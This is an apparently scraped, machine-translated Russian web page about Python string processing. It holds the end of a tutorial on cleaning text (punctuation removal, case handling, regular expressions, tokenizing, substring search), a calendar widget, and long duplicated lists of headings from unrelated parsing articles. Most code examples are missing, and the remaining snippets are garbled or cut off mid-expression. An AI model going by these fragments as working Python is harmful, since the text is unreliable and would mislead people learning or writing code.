`6.Удаление знаков препинания`

Это еще один вариант использования в наборе инструментов для очистки текста. Модуль Python string имеет множество встроенных констант с отдельным набором символов. string.punctuation - один из них, поэтому мы будем использовать его для очистки строки.

`7. Работа с кейсами`

Форматирование текста - проблема каждого специалиста по данным. Слова, в которых нет следующих друг за другом падежей, и предложения в разных форматах создают массу проблем при очистке данных.Однако для этих задач существуют и другие функции Python:

`8. Мир регулярных выражений`

Иногда очистку текста нелегко обеспечить с помощью определенных символов или фраз. Вместо этого нам нужно использовать некоторые шаблоны. Это идеальное поле для использования регулярных выражений и подходящего модуля Python.

Мы не будем обсуждать всю мощь регулярного выражения, а сосредоточимся на его приложениях - например, на разделении и замене данных. Да, эти задачи описаны выше, но вот более мощная альтернатива.

Разделить по шаблону:

Заменить по шаблону:

`9. Токенизировать строку`

Пришло время собрать все уловки, которые мы узнали ранее, и применить их для реальной токенизации. Однако мы не будем повторять весь код. Вот пример довольно крутой альтернативы с использованием панд и . В нашем примере мы должны очистить строку от лишних символов, преобразовать ее в единичный регистр и разбить ее на токены.

`10. (Бонус) Найдите подстроку`

Перед любой задачей по очистке мы должны определить, действительно ли нам нужна очистка.В большинстве случаев вопрос сводится к поиску какого-либо символа или фразы в тексте. Python предоставляет множество функций для наших целей.

Конечная подстрока:

 test_string.endswith ('dog') Out [1]: True

Ведущая подстрока:

 test_string.startswith ('dog') Out [2]: False

Общая проверка:

 ' fox ' в  test_stringOut [3]: True

Получить индекс подстроки:

  test_string.
No related posts.

Апрель 2025
Пн	Вт	Ср	Чт	Пт	Сб	Вс
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30

Парсер строки python: python — Разбор строки на части

python — Парсинг строки и сравнение значений её элементов

парсер — Парсинг сложной строки на python

python — Парсинг таблицы в список списков

Пишем простой парсер JSON на Python

Что такое парсинг, и чем он не является

Интерфейс библиотеки

Лексический анализ

Реализация лексера JSON

Определение строк

Определение чисел

Определение булевых значений и null

Синтаксический анализ

Реализация парсера JSON

Парсинг массивов

Парсинг объектов

Собираем библиотеку

Дополнение: парсинг в один этап

Простой парсер на Python | progtask.ru

Простое руководство по аргументам командной строки Python | by Артур Хайбуллин | NOP::Nuances of Programming

python — парсинг блоков текста в текстовом файле (блоки разделяются пустой строкой)

4 ответа

Как я могу разбить и проанализировать строку в Python?

Пошаговое руководство по синтаксическому анализу строки Python

Анализ текста с помощью Python · vipinajayakumar

Шаг 1. Определите формат ввода

Шаг 2: Импортируйте необходимые пакеты

Шаг 3. Определите регулярные выражения

Шаг 4. Напишите синтаксический анализатор строки

Шаг 5: Напишите анализатор файла

Шаг 6. Протестируйте синтаксический анализатор

Как написать синтаксический анализатор строки формул на Python | Кристофер Тао

Интерпретация формулы в строковом формате для ее выполнения

Причина 1: хакеры могут запускать любые выражения

Причина 2: он нарушает Фундаментальный принцип разработки программного обеспечения

Причина 3: Это приводит к плохой ремонтопригодности

Причина 4: Низкая производительность

Шаг 1. Только агрегирование

Шаг 2. Операторы между агрегатами

Шаг 3: Оператор внутри агрегации

Шаг 4: Добавьте поддержку ассоциативного закона

Шаг 5: Использование круглых скобок для изменения приоритета

Шаг 6: Добавьте поддержку констант

Преобразование строк в datetime в Python

Введение

Преобразование строк с использованием datetime

Работа с часовыми поясами и datetime

Преобразование часовых поясов

Использование сторонних библиотек

dateutil

Майя

Стрелка

Заключение

python - синтаксический анализатор строки в кавычках

- документация SymPy 1.7.1

Справочник по функциям синтаксического анализа

Справочник по преобразованиям синтаксического анализа

Экспериментальный анализ \ (\ mathrm {\ LaTeX} \)

\ (\ mathrm {\ LaTeX} \) Предостережения при синтаксическом анализе

\ (\ mathrm {\ LaTeX} \) Справочник по функциям синтаксического анализа

\ (\ mathrm {\ LaTeX} \) Справочник по исключениям синтаксического анализа

Справочник по выражениям SymPy

Установка среды выполнения

10 трюков и сценариев Python для преобразования и декомпозиции строк | Павел Хорбонос (Midvel Corp)

1. Перевести и заменить

2.Очистка строки

3. Разделите по своему усмотрению

4. Зачистите и заполните

5. Деконструкция и воссоздание

6.Удаление знаков препинания

7. Работа с кейсами

8. Мир регулярных выражений

9. Токенизировать строку

10. (Бонус) Найдите подстроку

Добавить комментарий Отменить ответ

`- документация SymPy 1.7.1`

`Справочник по функциям синтаксического анализа`

`Справочник по преобразованиям синтаксического анализа`

`Экспериментальный анализ \ (\ mathrm {\ LaTeX} \)`

`\ (\ mathrm {\ LaTeX} \) Предостережения при синтаксическом анализе`

`\ (\ mathrm {\ LaTeX} \) Справочник по функциям синтаксического анализа`

`\ (\ mathrm {\ LaTeX} \) Справочник по исключениям синтаксического анализа`

`Справочник по выражениям SymPy`

`Установка среды выполнения`

`10 трюков и сценариев Python для преобразования и декомпозиции строк | Павел Хорбонос (Midvel Corp)`

`1. Перевести и заменить`

`2.Очистка строки`

`3. Разделите по своему усмотрению`

`4. Зачистите и заполните`

`5. Деконструкция и воссоздание`

`6.Удаление знаков препинания`

`7. Работа с кейсами`

`8. Мир регулярных выражений`

`9. Токенизировать строку`

`10. (Бонус) Найдите подстроку`

`Добавить комментарий Отменить ответ`